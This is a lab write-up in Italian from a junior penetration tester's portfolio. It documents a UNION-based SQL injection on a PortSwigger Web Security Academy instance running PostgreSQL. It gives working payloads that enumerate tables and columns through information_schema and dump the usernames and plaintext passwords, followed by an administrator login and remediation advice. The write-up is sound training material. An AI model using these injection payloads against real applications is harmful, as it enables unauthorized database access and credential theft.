LEONARDO ONORI
JUNIOR PENETRATION TESTER · VULNERABILITY ANALYST

leonardoonori1@gmail.com
github.com/leonardoonori1-ops

REPORT TECNICO · SQL INJECTION

SQL injection — Enumerazione del database (PostgreSQL)

Estrazione delle credenziali amministrative via information_schema

Target	0a0000eb...web-security-academy.net
Categoria OWASP	A03:2021 – Injection
Classificazione CWE	CWE-89 – SQL Injection
Severità	CRITICAL
Analista	Leonardo Onori
Data	15 ottobre 2026
Strumenti	Kali Linux, Burp Suite, Firefox

Documento a scopo formativo — Leonardo Onori. Attività svolta su istanza di laboratorio autorizzata (PortSwigger Web Security Academy).

01 Executive Summary

Il filtro per categoria è vulnerabile a **SQL injection UNION-based** su backend **PostgreSQL**. Attraverso l'`information_schema` è stato enumerato lo schema del database fino a estrarre le credenziali dell'amministratore.

PARAMETRO	DBMS
`category`	PostgreSQL
TABELLA UTENTI	**AUTENTICAZIONE**
users_prjibl	Nessuna

02 Catena di enumerazione

Schema standard per SQLi UNION-based su database non-Oracle, che espongono i metadati via `information_schema`.

1 Elenco delle tabelle

```
' UNION SELECT table_name, NULL FROM information_schema.tables-- -
```

Tra le tabelle di sistema emerge quella applicativa: `users_prjibl`.

2 Elenco delle colonne

```
' UNION SELECT column_name, NULL FROM information_schema.columns
  WHERE table_name = 'users_prjibl'-- -
```

Colonne rilevanti: `username_btpaym`, `password_tttlqq`.

3 Estrazione delle credenziali

```
' UNION SELECT username_btpaym, password_tttlqq FROM users_prjibl-- -
```

Username	Password
administrator	**`tt19lxhcfth8u4v5ucs3`**
wiener	`3y0kmkmghqedtmq3oekz`
carlos	`u3ozcof22zp1kdtjiq6l`

03 Post-exploitation

Login su `/my-account` come **administrator** con la password estratta → accesso all'account privilegiato.

04 Impatto

Compromissione completa della riservatezza del database: un attaccante non autenticato ottiene tutte le credenziali, incluse quelle amministrative. L'assenza di hashing (password in chiaro) aggrava l'impatto e abilita il riuso su altri servizi (credential stuffing).

05 Remediation

- **Query parametrizzate** su ogni accesso al database.
- **Hashing robusto** delle password (bcrypt/argon2) con salt — mai storage in chiaro.
- **Privilegio minimo** per l'utenza DB applicativa.

> **NOTA TECNICA**

> `information_schema` è lo standard SQL di auto-descrizione del DB: la stessa tecnica vale su MySQL, PostgreSQL e SQL Server. Oracle fa eccezione (`all_tables` / `all_tab_columns`), da cui la dicitura "non-Oracle".